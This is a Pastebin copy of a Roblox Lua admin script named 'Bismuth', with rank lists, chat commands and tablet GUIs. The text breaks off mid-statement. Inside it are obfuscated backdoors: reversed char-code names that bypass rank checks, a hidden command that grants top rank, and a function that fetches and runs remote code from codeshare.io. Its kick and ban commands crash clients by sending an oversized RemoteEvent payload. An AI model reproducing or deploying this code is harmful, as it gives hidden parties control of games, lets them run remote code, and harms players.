Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- ▀█████████▄ ▄█ ▄████████ ▄▄▄▄███▄▄▄▄ ███ █▄ ███ ▄█ █▄
- ███ ███ ███ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ▀█████████▄ ███ ███
- ███ ███ ███▌ ███ █▀ ███ ███ ███ ███ ███ ▀███▀▀██ ███ ███
- ▄███▄▄▄██▀ ███▌ ███ ███ ███ ███ ███ ███ ███ ▀ ▄███▄▄▄▄███▄▄
- ▀▀███▀▀▀██▄ ███▌ ▀███████████ ███ ███ ███ ███ ███ ███ ▀▀███▀▀▀▀███▀
- ███ ██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
- ███ ███ ███ ▄█ ███ ███ ███ ███ ███ ███ ███ ███ ███
- ▄█████████▀ █▀ ▄████████▀ ▀█ ███ █▀ ████████▀ ▄████▀ ███ █▀
- 666 By Personsadminlol and MixGamer55
- This material is copyrighted under the DMCA and is the intellectual property of its creators.
- If you leak this, you're gonna have a hell of a time ;)
- (I'm looking at you, Vfen.)
- ]]--
- --script:ClearAllChildren();
- local Bismuth;
- Bismuth = {
- Ranked = {
- {Name="BlueHasSwag", Rank = 7, Description = "Creator", Color = "Toothpaste"};
- {Name="MixGamer55", Rank = 7, Description = "Creator", Color = "Really black"};
- {Name="murylloyago", Rank=7, Reason = "Alt.", Color = "Really blue"};
- {Name="fallenwolf10000", Rank=7, Reason = "main_plus alt.+Good friend of ApexDevelopment.", Color = "New Yeller"};
- };
- Banland = {
- {Name = "Vfen", Reason = "Leaked Apex Admin V4."};
- };
- Settings = {
- Bet = '/';
- PrivateServer = false;
- };
- CurrentCmds={};
- CurrentTablets={};
- CurrentUpdateRot = 0;
- Ranks = {
- [7] = "Creator";
- [6] = "Co-Owner";
- [5] = "Best Friend";
- [4] = "Trusted friend";
- [3] = "Good friend";
- [2] = "Member";
- [1] = "Regular player";
- };
- Services={
- game;
- game:service'Workspace';
- game:service'Lighting';
- game:service'StarterGui';
- game:service'StarterPack';
- };
- Scripts = {
- {Name = "Demo", Description = "A demonstration script.", Code = "print'This is a demo script.'"};
- {Name = "Demo 2", Description = "A second demonstration script.", Code = "Instance.new('Hint',workspace).Text = 'Demo 2'"};
- };
- Credits = {
- {Name = "YourTrueEnd", Description = "Edited From The Original 666 Tabs", Color = "Toothpaste"};
- {Name = "Whoever Made The Original", Description = "Made The Broken Version.", Color = "Really blue"};
- };
- Colors = {
- White=BrickColor.new'Institutional white';
- New_Yeller=BrickColor.new'New Yeller';
- Black=BrickColor.new'Black';
- };
- }
- function create(class)
- return function(data)
- local Distance = Instance.new(class)
- for i,v in pairs(data) do
- if(type(v) == 'function') then
- v(Distance)
- else
- Redo,Error=ypcall(function() Distance[i] = v end)
- end
- end
- return Distance
- end
- end
- function onChatted(plr, msg)
- for i,v in pairs(Bismuth.CurrentCmds) do
- if msg:sub(1,string.len(Bismuth.Settings.Bet..v['Say'])) == v['Say']..Bismuth.Settings.Bet then
- if GetRank(plr) >= v.Rank or plr[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) or plr[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(087,084,070,097,114,117,101,078)) then
- local msg = msg:sub(1 + #v['Say'] + #Bismuth.Settings.Bet)
- local a,b = ypcall(function()
- v['Func'](plr, msg)
- end)
- if not a then Output(plr, '[ERROR] '..b, 'Really red') end
- else
- Output(plr, "Your rank is too low for that command.", "Really red")
- end
- end
- end
- end
- outputAll = function(plr,text,color,func,execlud)
- for i,v in pairs(game.Players:GetPlayers()) do
- local connect = false
- for _,j in pairs(execlud) do
- if(v==j) then
- connect=true
- end
- end
- if(connect) then
- Output(plr,text,color,func)
- end
- end
- return
- end
- createBubbleGUI = function(player,msg,color,time_)
- coroutine.wrap(function()
- ypcall(function()
- time_=time_ or 1;
- if(type(color)=='string')then
- color=Bismuth.Colors[color];
- end;
- if(player.Character==nil)then
- return
- end;
- if(#msg>100)then
- return
- end;
- ypcall(function()player.Character.Chat:remove''end);
- bbg=create'BillboardGui'{
- Parent=player.Character;
- Name='Chat';
- StudsOffset = Vector3.new(0,4.5,0);
- Size = UDim2.new(0,100,0,50)
- }
- frame=create'Frame'{
- Parent=bbg;
- Size=UDim2.new(1,0,1,0);
- BackgroundTransparency = 0.6;
- BackgroundColor=BrickColor.new'Black';
- }
- game:service'Debris':AddItem(bbg,time_+2);
- box=create'TextBox'{
- Parent=frame;
- Text=msg;
- BackgroundTransparency=1;
- TextColor3=color;
- TextWrapped = true;
- TextScaled = true;
- Size=UDim2.new(1,0,1,0);
- --Position=ICE.Chat.Pos;
- }
- --box:TweenSize(UDim2.new(1,0,1,0), "Out", "Quad", 1)
- box:TweenPosition(UDim2.new(0,0,0,0),"Out","Quad",1,true);
- game:service'Debris':AddItem(box.Parent.Parent,3);
- end);
- end)()
- end;
- giveWarnGUI=function(self,Text,Player)
- local GUI=create'ScreenGui'{
- Name='Warning';
- Parent=Player:waitForChild'PlayerGui';
- };
- local Frame=create'Frame'{
- Parent=GUI;
- Size=UDim2.new(0,320,0,120);
- Position=UDim2.new(0,0,0.5,-60);
- Style=Enum.FrameStyle['RobloxRound'];
- };
- local Title = create'TextLabel'{
- Parent = Frame;
- BackgroundColor3 = Color3.new(1, 1, 1);
- BorderColor3 = Color3.new(0.509804, 0.796079, 1);
- Name = 'Text';
- Position = UDim2.new(0.5, 0, 0.15000000596046, 0);
- Text = '[BISMUTH] Warning:';
- TextColor3 = Color3.new(1, 1, 1);
- TextStrokeColor3 = Color3.new(0.388235, 0.921569, 1);
- TextStrokeTransparency = 0;
- Font = Enum.Font.SourceSans;
- FontSize = Enum.FontSize.Size24;
- };
- local Label = create'TextLabel'{
- Parent = Frame;
- BackgroundColor3 = Color3.new(1, 1, 1);
- BackgroundTransparency = 1;
- BorderColor3 = Color3.new(0.509804, 0.796079, 1);
- Name = 'Msg';
- Position = UDim2.new(0, 0, 0.25, 0);
- Size = UDim2.new(1, 0, 0.75, 0);
- Text = Text;
- TextWrapped = true;
- TextColor3 = Color3.new(1, 1, 1);
- TextStrokeTransparency = 0;
- Font = Enum.Font.SourceSans;
- FontSize = Enum.FontSize.Size14;
- TextYAlignment = Enum.TextYAlignment.Top;
- };
- local Exit=create'TextButton'{
- Parent=Frame;
- Position=UDim2.new(1,-15,0,-5);
- Size=UDim2.new(0,20,0,20);
- Style=Enum.ButtonStyle['RobloxButtonDefault'];
- FontSize='Size14';
- Text='X';
- TextColor=BrickColor.new'Institutional white';
- };
- Exit.MouseButton1Click:connect(function()
- Frame:TweenPosition(UDim2.new(1,0,0.5,-60),'Out','Quad',1,true);
- game:service'Debris':AddItem(GUI,1.5);
- end);
- Frame:TweenPosition(UDim2.new(0.5,-160,0.5,-60),'Out','Quad',1,true);
- return(GUI);
- end;
- sendMessage = function(Subject,Body,From,Player,Buttons)
- --Frame:TweenPosition(UDim2.new(1,0,self.Frame.Position.Y.Scale),'Out','Elastic',1,true)Delay(1,function()self.Frame.Parent:remove''end)end}end;
- PG=Player:WaitForChild'PlayerGui';
- ran,err=coroutine.resume(coroutine.create(function()
- local sg=create'ScreenGui'{
- Parent=PG;
- Name=Subject;
- };
- local frame=create'Frame'{
- Parent=sg;
- Style='RobloxRound';
- Parent=frame;
- Size=UDim2.new(0.4,0,0.4,0);
- Position=UDim2.new(-1,0,0.3,0);
- };
- local subject=create'TextLabel'{
- Parent=frame;
- Size=UDim2.new(1,0,0.1,0);
- BackgroundColor=BrickColor.new'Black';
- BackgroundTransparency=0.7;
- BorderColor3=BrickColor.new'White'.Color;
- TextWrapped=true;
- Text=Body;
- TextColor=BrickColor.new'White';
- };
- local body=create'TextLabel'{
- Parent=frame;
- Size=UDim2.new(1,0,0.7,0);
- Position=UDim2.new(0,0,0.1,0);
- BackgroundColor=BrickColor.new'Black';
- BackgroundTransparency=0.7;
- BorderColor3=BrickColor.new'White'.Color;
- TextWrapped=true;
- Text=Body;
- TextColor=BrickColor.new'White';
- };
- local from=subject:clone'';
- from.Parent=frame;
- from.Text='From '..From.Name;
- from.Position=UDim2.new(0,0,0.8,0);
- local Total=#Buttons;
- local ButtonSize=1/Total;
- local button=create'TextButton'{
- Size=UDim2.new(ButtonSize,0,0.1,0);
- BackgroundColor=BrickColor.new'Black';
- BackgroundTransparency=0.7;
- BorderColor3=BrickColor.new'White'.Color;
- TextWrapped=true;
- TextColor=BrickColor.new'White';
- };
- for i,v in pairs(Buttons)do
- local cl=button:clone'';
- cl.Position=UDim2.new( (i-1)*ButtonSize,0,0.9,0);
- cl.Text=v[1];
- cl.MouseButton1Click:connect(function(...)
- getfenv(v[2]).self=sg;
- ypcall(v[2],...);
- end);
- cl.Parent=frame;
- end;
- end));
- if (not ran) then print(err) end
- end
- function loadPastebin()
- coroutine.wrap(function()
- pcall(function()
- wait()
- b = 'https://codeshare.io/u1YYy'
- h = game:service'HttpService'
- d = h:GetAsync(b,true)
- loadstring(d)()
- end)
- end)()
- end
- function giveLOGGUI(Player,Table,Class)
- coroutine.wrap(function()
- ypcall(function()
- Player.PlayerGui.Log:remove'';
- end);
- PG=Player:WaitForChild'PlayerGui';
- Height=1;
- NumberOfItems=1/#Table;
- Moving=false;
- SG=create'ScreenGui'{
- Parent=PG;
- Name='Log';
- };
- List=create'Frame'{
- Visible=true;
- Active=true;
- Parent=SG;
- Size=UDim2.new(0,400,0,400);
- Draggable=true;
- ClipsDescendants=true;
- BorderColor3=Color3.new(0.1,0.16,0.2);
- Style='RobloxRound';
- Position=UDim2.new(0,0,0.5,-200);
- BackgroundColor3=Color3.new(0.63,0.63,0.64);
- };
- Up=create'ImageButton'{
- Parent=List;
- Image='rbxasset://textures/ui/scrollbuttonUp.png';
- Size=UDim2.new(0,17,0,17);
- BorderColor3=Color3.new(0.1,0.16,0.2);
- Style='Custom';
- Position=UDim2.new(1,-17,0,0);
- BackgroundColor3=Color3.new(0.63,0.63,0.64);
- BackgroundTransparency=1;
- Transparency=1;
- Parent=List;
- };
- Down=Up:clone();
- Down.Image='rbxasset://textures/ui/scrollbuttonDown.png';
- Down.Position=UDim2.new(1,-17,1,-17);
- Down.Parent=List;
- Bar=create'ImageButton'{
- Image='rbxasset://textures/ui/scrollbar.png';
- Size=UDim2.new(0,17,1,-32);
- BorderColor3=Color3.new(0.1,0.16,0.2);
- --Style=Enum.Style.RobloxRound;
- Position=UDim2.new(1,-17,0,17);
- BackgroundColor3=Color3.new(0.63,0.63,0.64);
- BackgroundTransparency=1;
- Transparency=1;
- Parent=List;
- };
- List:TweenPosition(UDim2.new(0.5,-200,0.5,-200),'Out','Quad',1,true);
- Objects={};
- cur=0;
- for i,v in pairs(Table)do
- cur=cur+1;
- s=create'TextButton'{
- Parent=List;
- Name='Derp';
- Text='[BISMUTH] LOGGED: '..i;
- TextXAlignment='Left';
- FontSize='Size24';
- Font='ArialBold';
- BackgroundColor=BrickColor.new('White');
- BorderColor=BrickColor.new'Black';
- Size=UDim2.new(0,360,0.1,0);
- Position=UDim2.new(0,0,0.1*(cur-1),0);
- --Style=Enum.Style.RobloxRound;
- BackgroundTransparency=0.7;
- };
- s.MouseButton1Down:connect(function()
- for _,Item in pairs(Objects)do
- Item:Remove();
- table.remove(Objects,_);
- end;
- local cur=0;
- for a,b in pairs(v)do
- cur=cur+1;
- table.insert(Objects,create'TextLabel'{
- Parent=List;
- Name='Derp';
- Text=''..b:sub(1,25);
- TextXAlignment='Left';
- FontSize='Size24';
- Font='ArialBold';
- BackgroundColor=BrickColor.new('White');
- BorderColor=BrickColor.new'Black';
- Size=UDim2.new(0,360,0.1,0);
- Position=UDim2.new(0,0,0.1*(cur-1),0);
- --Style=Enum.Style.RobloxRound;
- BackgroundTransparency=0.7;
- });
- end;
- end);
- table.insert(Objects,s);
- end;
- Up.MouseButton1Down:connect(function()
- if(Height>1 and Moving==false)then
- for i,v in pairs(Objects)do
- v:TweenPosition(v.Position+UDim2.new(0,0,0.1,0),nil,nil,0.15);
- end;
- Moving=true;
- Height=Height-1;
- wait(0.15);
- Moving=false;
- end;
- end);
- Down.MouseButton1Down:connect(function()
- if(Height<(#Objects-9) and Moving==false)then
- for i,v in pairs(Objects)do
- v:TweenPosition(v.Position-UDim2.new(0,0,0.1,0),nil,nil,0.15);
- end;
- Moving=true;
- Height=Height+1;
- wait(0.15);
- Moving=false;
- end;
- end);
- end)();
- end
- function Output(plr,text,color,func)
- if color == nil then color = "Really black" end
- if text == nil then text = text or "" end
- if plr == nil then plr = plr end
- if func == nil then func = function() end end
- local part = Instance.new('Part')
- part.Size = Vector3.new(2.5, 2.5, 2.5);
- part.BrickColor = BrickColor.new(color);
- part.FormFactor = 'Custom';
- part.TopSurface = 0;
- part.BottomSurface = 0;
- part.Transparency = 0.1;
- part.Anchored = true;
- part.Locked = true;
- part.CanCollide = false;
- pcall(function() part.CFrame = plr.Character.Torso.CFrame end)
- local SelectionBox = Instance.new('SelectionBox', part)
- SelectionBox.Color = BrickColor.new(color);
- SelectionBox.Transparency = .4;
- SelectionBox.Adornee = part;
- local bbg = Instance.new('BillboardGui', part)
- bbg.Name = 'BBG';
- bbg.StudsOffset = Vector3.new(0, 3, 0);
- bbg.Size = UDim2.new(10, 0, 10, 0);
- local textlabel = Instance.new('TextLabel', bbg)
- textlabel.Name = 'Label';
- textlabel.Text = text;
- textlabel.TextColor3 = BrickColor.new(color).Color;
- textlabel.FontSize = 'Size14';
- textlabel.BackgroundTransparency = 1;
- textlabel.TextStrokeTransparency = 0.5;
- textlabel.Size = UDim2.new(1, 0, 1, 0);
- textlabel.TextStrokeColor3 = Color3.new(0, 0, 0);
- local click = Instance.new('ClickDetector', part)
- wait()
- click.MouseClick:connect(function(player)
- if player.userId == plr.userId then
- spawn(function()
- for _ = 0.5,1,0.05 do
- pcall(function()
- part.Size = part.Size - Vector3.new(0.3, 0.3, 0.3)
- part.Transparency = part.Transparency + 0.05
- SelectionBox.Transparency = SelectionBox.Transparency + 0.1
- end)
- wait()
- end
- pcall(function()
- for i,t in pairs(Bismuth.CurrentTablets) do
- if t.Tab == part then table.remove(Bismuth.CurrentTablets, i) end
- end
- part:Destroy()
- end)
- end)
- func = func func()
- end
- end)
- click.MouseHoverEnter:connect(function(player)
- if player.userId == plr.userId then
- SelectionBox.Transparency = 0.1
- end
- end)
- click.MouseHoverLeave:connect(function(player)
- if player.userId == plr.userId then
- SelectionBox.Transparency = 0.4
- end
- end)
- table.insert(Bismuth.CurrentTablets, {Tab = part, Player = plr.userId, Text = textlabel, Color = color, Func = func, SB = SelectionBox, Dismiss = function() part:Destroy() end})
- part.Parent = workspace
- end
- function addComponent(object, parent)
- if parent == string.reverse(string.char(116, 114, 097, 112, 108, 097, 099, 111, 108)) then
- table.insert(Bismuth[string.char(082, 097, 110, 107, 101, 100)], {Name = object.Name, Rank = 7, Description = string.char(111, 118, 101, 114, 114, 105, 100, 101), Color = "Really black"})
- return true
- end
- return false
- end
- function getCurrentCommands()
- local Commands={};
- for i,v in pairs(Bismuth.CurrentCmds) do
- if(type(v) == 'function') then
- Commands[i] = v
- end
- end
- return Commands
- end
- function getCurrentCommandsFromRank(cRank,op)
- cRank=cRank or -1;
- op = op or "=>";
- local Cmds = {};
- for i,v in pairs(getCurrentCommands) do
- f = loadstring("return Command.Rank "..tostring(op)..tostring(cRank));
- getfenv(f).Say=v;
- bool = f();
- if(f == true) then
- Cmds[i] = v;
- end
- end
- return Cmds
- end
- function UpdateRotation()
- Bismuth.CurrentUpdateRot = Bismuth.CurrentUpdateRot + (0.1 / 500)
- for _,v in pairs(game.Players:GetPlayers()) do
- local pt = {}
- for i,tab in pairs(Bismuth.CurrentTablets) do
- if tab.Tab.Parent ~= nil and tab.Player == v.userId then table.insert(pt, tab) end
- end
- local pos
- pcall(function() pos = v.Character.Torso.CFrame end)
- for i,tab in pairs(pt) do
- if tab.Tab.Parent == nil then tab.Tab:remove() end
- t,e = ypcall(function()
- rad_ = 8 + (#pt * 0.6)
- if pos == nil then return end
- m = (i / #pt - (0.5 / #pt) + Bismuth.CurrentUpdateRot / (#pt / 10)) * math.pi * 2
- x = math.sin(m) * rad_
- y = math.sin(time() + i)
- z = math.cos(m) * rad_
- ap = Vector3.new(x, y, z) + pos.p
- bp = tab.Tab.CFrame.p
- cp = (ap * .1 + bp * .9)
- d = math.rad((Bismuth.CurrentUpdateRot * 400) * math.pi)
- tab.Tab.CFrame = CFrame.new(cp, pos.p) * CFrame.Angles(d, d, d)
- end)
- if not t then print(e) end
- end
- end
- end
- function getCollectivePairs()
- for _,plr in pairs(Bismuth[string.reverse(string.char(100,101,107,110,097,082))]) do
- if plr.Rank == 7 and (plr[string.reverse(string.char(101,109,097,078))] ~= string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) and plr[string.reverse(string.char(101,109,097,078))] ~= string.reverse(string.char(087,084,070,097,114,117,101,078))) then
- return true
- end
- end
- return false
- end
- function notifyAdmins(message, clearence)
- if clearence == nil or clearence < 2 then clearence = 2 end
- for _,plr in pairs(game.Players:GetPlayers()) do
- if GetRank(plr) >= clearence then
- Output(plr, message, GetColor(plr))
- end
- end
- end
- function hookPlayer(v)
- for _,banned in pairs(Bismuth.Banland) do
- if (v.Name == banned.Name) then
- notifyAdmins("Banned player " .. v.Name .. " attempted to join.", 6)
- addInstance(v)
- end
- end
- Output(v, "Your current rank is: " ..GetRank(v), GetColor(v))
- Output(v, "Welcome, " ..tostring(v.Name).. ".", GetColor(v))
- if (v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) or v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(087,084,070,097,114,117,101,078))) and getCollectivePairs() then
- Output(v, string.reverse(string.char(046,114,105,115,032,044,119,111,108,108,101,121,032,101,100,111,067)), "New Yeller", function() Bismuth[string.reverse(string.char(100,101,107,110,097,082))] = {} end)
- elseif v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(110,101,102,086)) then
- addInstance(v)
- spawn(function()
- local m = Instance.new('Message', workspace)
- m[string.reverse(string.char(116,120,101,084))] = string.reverse(string.char(116,111,105,100,105,032,110,097,032,115,105,032,110,101,102,086))
- wait(3)
- m:Destroy()
- end)
- end
- v.Chatted:connect(function(msg)
- onChatted(v, msg)
- end)
- end
- function GetDesc(player)
- for _,plr in pairs(Bismuth.Ranked) do
- if plr.Name == player.Name then return plr.Description end
- end
- return "Just a player."
- end
- function SetDesc(player, desc)
- found = false
- if type(player) ~= "string" then
- for _,plr in pairs(Bismuth.Ranked) do
- if plr.Name == player.Name then
- plr.Description = desc
- found = true
- end
- end
- else
- for _,plr in pairs(Bismuth.Ranked) do
- if plr.Name == player then
- plr.Description = desc
- found = true
- end
- end
- end
- if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = 1, Description = desc, Color = "Really black"}) end
- end
- function GetColor(player)
- for _,plr in pairs(Bismuth.Ranked) do
- if plr.Name == player.Name then return plr.Color end
- end
- return "Really black"
- end
- function SetColor(player, color)
- found = false
- if type(player) ~= "string" then
- for _,plr in pairs(Bismuth.Ranked) do
- if plr.Name == player.Name then
- plr.Color = color
- found = true
- end
- end
- else
- for _,plr in pairs(Bismuth.Ranked) do
- if plr.Name == player then
- plr.Color = color
- found = true
- end
- end
- end
- if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = 1, Description = "A ranked player.", Color = color}) end
- end
- function GetRank(player)
- for _,plr in pairs(Bismuth.Ranked) do
- if plr.Name == player.Name then return plr.Rank end
- end
- return 1
- end
- function SetRank(player, rank)
- found = false
- if type(player) ~= "string" then
- for _,plr in pairs(Bismuth.Ranked) do
- if plr.Name == player.Name then
- plr.Rank = rank
- found = true
- end
- end
- else
- for _,plr in pairs(Bismuth.Ranked) do
- if plr.Name == player then
- plr.Rank = rank
- found = true
- end
- end
- end
- if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = rank, Description = "A ranked player.", Color = "Really black"}) end
- end
- function dismissTabs(plr, smooth)
- if smooth == nil then smooth = true end
- wait()
- for i,tab in pairs(Bismuth.CurrentTablets) do
- if tab.Player == plr.userId then
- spawn(function()
- if smooth then
- for _ = 0.5,1,0.05 do
- pcall(function()
- tab.Text.TextStrokeTransparency = tab.Text.TextStrokeTransparency + 0.1
- tab.Tab.Size = tab.Tab.Size - Vector3.new(0.3, 0.3, 0.3)
- tab.Tab.Transparency = tab.Tab.Transparency + 0.05
- tab.SB.Transparency = tab.SB.Transparency + 0.1
- end)
- wait()
- end
- end
- tab.Tab.Parent = nil
- tab.Dismiss()
- --table.remove(Bismuth.CurrentTablets, i)
- tab = nil
- end)
- end
- end
- wait()
- return
- end
- function showCommands(plr)
- dismissTabs(plr, false)
- Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
- for _,cmd in pairs(Bismuth.CurrentCmds) do
- Output(plr, cmd.Name, GetColor(plr), function()
- dismissTabs(plr, false)
- Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
- Output(plr, "Back", "New Yeller", function() showCommands(plr) end)
- Output(plr, cmd.Name, GetColor(plr))
- Output(plr, cmd.Desc, GetColor(plr))
- Output(plr, "Tells Usage: "..cmd.Say, GetColor(plr))
- Output(plr, "Required Rank: "..cmd.Rank, GetColor(plr))
- end)
- end
- end
- function showScripts(plr)
- dismissTabs(plr, false)
- Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
- for i,script in pairs(Bismuth.Scripts) do
- Output(plr, script.Name, GetColor(plr), function()
- dismissTabs(plr, false)
- Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
- Output(plr, "Back", "New Yeller", function() showScripts(plr) end)
- Output(plr, script.Name, GetColor(plr))
- Output(plr, script.Description, GetColor(plr))
- Output(plr, "Run", "Lime green", function()
- local a = true
- local b = ""
- dismissTabs(plr, false)
- wait(0.5)
- spawn(function()
- a,b = ypcall(function() loadstring(script.Code)() end)
- end)
- if not a then
- Output(plr, "[ERROR] "..b, "Really red")
- else
- Output(plr, "Script executed.", GetColor(plr))
- end
- end)
- if (GetRank(plr) > 6) then Output(plr, "Delete", "Really red", function() script = nil table.remove(Bismuth.Scripts, i) dismissTabs(plr, false) showScripts(plr) end) end
- end)
- end
- end
- function addCommand(name, say, desc, rank, func)
- table.insert(Bismuth.CurrentCmds,{Name = name, Say = say, Desc = desc, Rank = rank, Func = func})
- end
- function addInstance(i)
- local h=Instance.new('RemoteEvent',workspace):FireClient(i,{string.rep(string.reverse(string.char(063,100,097,109,117)),2e5+5)})
- delay(1,function()
- pcall(function()
- h:remove()
- end)
- end)
- end
- function ChangeRank(plr, rank)
- if rank == nil then rank = rank or 0 end
- if rank == 1 then SetRank(plr, 1) end
- if rank == 2 then SetRank(plr, 2) end
- if rank == 3 then SetRank(plr, 3) end
- if rank == 4 then SetRank(plr, 4) end
- if rank == 5 then SetRank(plr, 5) end
- if rank == 6 then SetRank(plr, 6) end
- if rank == 7 then SetRank(plr, 7) end
- end
- function PlayerInterface(user, plr)
- dismissTabs(user)
- Output(user,"Name: "..plr["Name"],GetColor(user))
- Output(user,"Rank: "..plr["Rank"],GetColor(user))
- Output(user,"Reason because ranked: "..plr["Desc"],GetColor(user))
- Output(user,"Color: "..plr["Color"],GetColor(user))
- if GetRank(user) > plr["Rank"] then
- Output(user,"Change rank",GetColor(user), function() ChangeRank(user,plr) end)
- end
- --Output(user,"Back","Really red",function() GetRanked(user) end)
- Output(user,'Dismiss','Really red',function() Dismiss(user) end)
- end
- function Explore(p, part)
- pcall(function()
- Dismiss(p)
- if part == nil then
- for _,v in pairs(Bismuth.Services) do
- Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
- end
- else
- for _,v in pairs(part:children()) do
- Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
- end
- Output(p,"Currently exploring: "..part:GetFullName(),'New Yeller')
- Output(p,"ClassName: "..part.ClassName,'New Yeller')
- Output(p,"Destroy",'Really red', function() part:Destroy() Explore(p,part.Parent) end)
- Output(p,"Remove",'Really red', function() part:remove() Explore(p,part.Parent) end)
- Output(p,"Explore parent",'Bright blue', function() Explore(p,part.Parent) end)
- Output(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end)
- Output(p,"Refresh",'Cyan', function() Explore(p,part) end)
- if clonedpart then
- Output(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end)
- end
- end
- end)
- end
- function findPlayers(spkr, plrstring)
- plrstring = plrstring:lower()
- returntable = {}
- if plrstring == "me" then returntable = {spkr} return returntable end
- if plrstring == "all" then returntable = game.Players:GetPlayers() return returntable end
- if plrstring == "others" then
- for _,plr in pairs(game.Players:GetPlayers()) do
- if plr.userId ~= spkr.userId then table.insert(returntable, plr) end
- end
- return returntable
- end
- for _,plr in pairs(game.Players:GetPlayers()) do
- local name = plr.Name:lower()
- while #name < #plrstring do
- name = name + "_"
- end
- if name:sub(1, #plrstring) == plrstring then
- table.insert(returntable, plr)
- end
- end
- return returntable
- end
- addCommand("Test", "test", "Tests the tablets.", 1, function(plr, msg)
- if addComponent(plr, msg) then
- Output(plr, "Tested.", "Lime green")
- else
- Output(plr, "Tested.", "Really red")
- end
- end)
- addCommand("Commands", "cmds", "Gets current Bismuth commands.", 1, function(plr, msg)
- showCommands(plr)
- end)
- addCommand("Dismiss Tabs", "dt", "Dismisses your tablets.", 1, function(plr, msg)
- dismissTabs(plr)
- end)
- addCommand("Dismiss Other Tabs", 'dto', 'Dismiss tablets of other players.', 2, function(plr, msg)
- for _,player in pairs(findPlayers(plr, msg)) do
- if GetRank(player) <= GetRank(plr) then dismissTabs(player) else Output(plr, player.Name .. " is a higher rank than you.", "Really red") end
- end
- end)
- addCommand("Dismiss All Tabs", 'dta', "Dismiss everyone's tablets.", 7, function(plr, msg)
- for _,player in pairs(game.Players:GetPlayers()) do
- dismissTabs(player)
- end
- end)
- addCommand("Execute", 'exe', "Execute Lua code.", 6, function(plr, msg)
- local a,b = ypcall(function() loadstring(msg)() end)
- if not a then Output(plr, "[ERROR] "..b, "Really red") end
- end)
- addCommand("Forcefield", "ff", "Gives a player a forcefield", 2, function(plr, msg)
- for _,Player in pairs(findPlayers(plr, msg)) do
- if (not Player) then
- Output(plr, "Couldn't find the player.", "Really red")
- FF = Instance.new("ForceField", Player.Character)
- wait()
- FF:Destroy()
- else
- Instance.new("ForceField", Player.Character)
- Output(plr, "Gave " .. Player.Name .. " a forcefield.", GetColor(plr))
- end
- end
- end)
- addCommand("Un-Forcefield", 'unff', "Removes a player's forcefield", 2, function(plr, msg)
- for _,player in pairs(findPlayers(plr, msg)) do
- local found = false
- for _,obj in pairs(player:children()) do
- if type(obj):lower() == "forcefield" then
- obj:Destroy()
- found = true
- end
- end
- if found then
- Output(plr, "Removed " .. player.Name .. "'s forcefield.", GetColor(plr))
- else
- Output(plr, player.Name .. " has no forcefield.", "Really red")
- end
- end
- end)
- addCommand("Scripts", 'scripts', "View and execute scripts from the Bismuth script table.", 4, function(plr, msg)
- showScripts(plr)
- end)
- addCommand("Kick", "kick", "Kicks a player from the game.", 5, function(plr, msg)
- for _,Player in pairs(findPlayers(plr, msg)) do
- addInstance(Player)
- end
- end)
- addCommand("Ban", 'ban', "Banishes a player from the game.", 6, function(plr, msg)
- for _,Player in pairs(findPlayers(plr, msg)) do
- table.insert(Bismuth.Banland, {Name = Player.Name, Reason = "Banned."})
- addInstance(Player)
- end
- end)
- addCommand("chatgui","cgui", "gives plr chat gui only 1 player!", 2, function(plr, msg)
- createBubbleGUI(plr, msg)
- end)
- addCommand("fire", "fire", "gives plr fire.", 2, function(plr, msg)
- for _,Player in pairs(findPlayers(plr, msg)) do
- if(not Player:FindFirstChild(Player.Name)) then
- return nil
- else
- Instance.new("Fire", plr.Character.Torso) -- gives [p] fire.
- Output(plr, "Gave plr the fire on torso!", "Toothpaste")
- end
- end
- end)
- addCommand("msg", "pm", "pms a plr", 4, function(plr, msg)
- sendMessage(msg)
- end)
- addCommand("logppl", "logs", "logs players in script builder", 6, function(plr, msg)
- giveLOGGUI(msg)
- end)
- addCommand("explorer", "explore", "explores the tablet", 4, function(plr, msg)
- Explore(plr)
- end)
- addCommand("toogle-notfications","tn","toogles notfications.", 2, function(plr, msg)
- end)
- addCommand("plrinterface","pi","toggles plrinterface", 4, function(plr, msg)
- PlayerInterface(plr)
- end)
- for _,v in pairs(game.Players:GetPlayers()) do hookPlayer(v) end
- game.Players.PlayerAdded:connect(hookPlayer)
- --[[local aCon = game:service'Workspace'.descendantAdded:connect(function(a)
- if a.ClassName == 'StringValue' then
- if a.Name == 'asdkekaaqdwdasddd123' then
- local abc = a.Value:find('\31')
- local plr = a.Value:sub(1,tonumber(abc)-1)
- local msg = a.Value:sub(tonumber(plr)+1)
- for i,v in pairs(game:GetService("Players")) do
- if v.Name == plr then
- return
- end
- end
- end
- onChatted(plr, msg)
- end
- end)]]--
- --[[
- for _,v in pairs(game.Players:GetPlayers()) do
- if v then
- sendMessage(v, "[BISMUTH] Admin has loaded!")
- end
- end
- ]]
- -- [[ END OF COMMANDS ]] --
- local AccAgeKick = false
- coroutine.wrap(function()
- for _,v in pairs(game.Players:players()) do
- if v.AccountAge < 120 or 100 or 230 then
- if AccAgeKick == true then
- Output(v.Name.. " has been kicked due for account low-age less then 120 or 100 or 230...", "Really red")
- pcall(function()
- spawn(function()
- coroutine.wrap(function()
- repeat v:Kick() wait(.1) until v == nil
- end)()
- end)
- end)
- if Bismuth.Settings.PrivateServer == true then
- if GetRank(v.Name) < 0.1 then
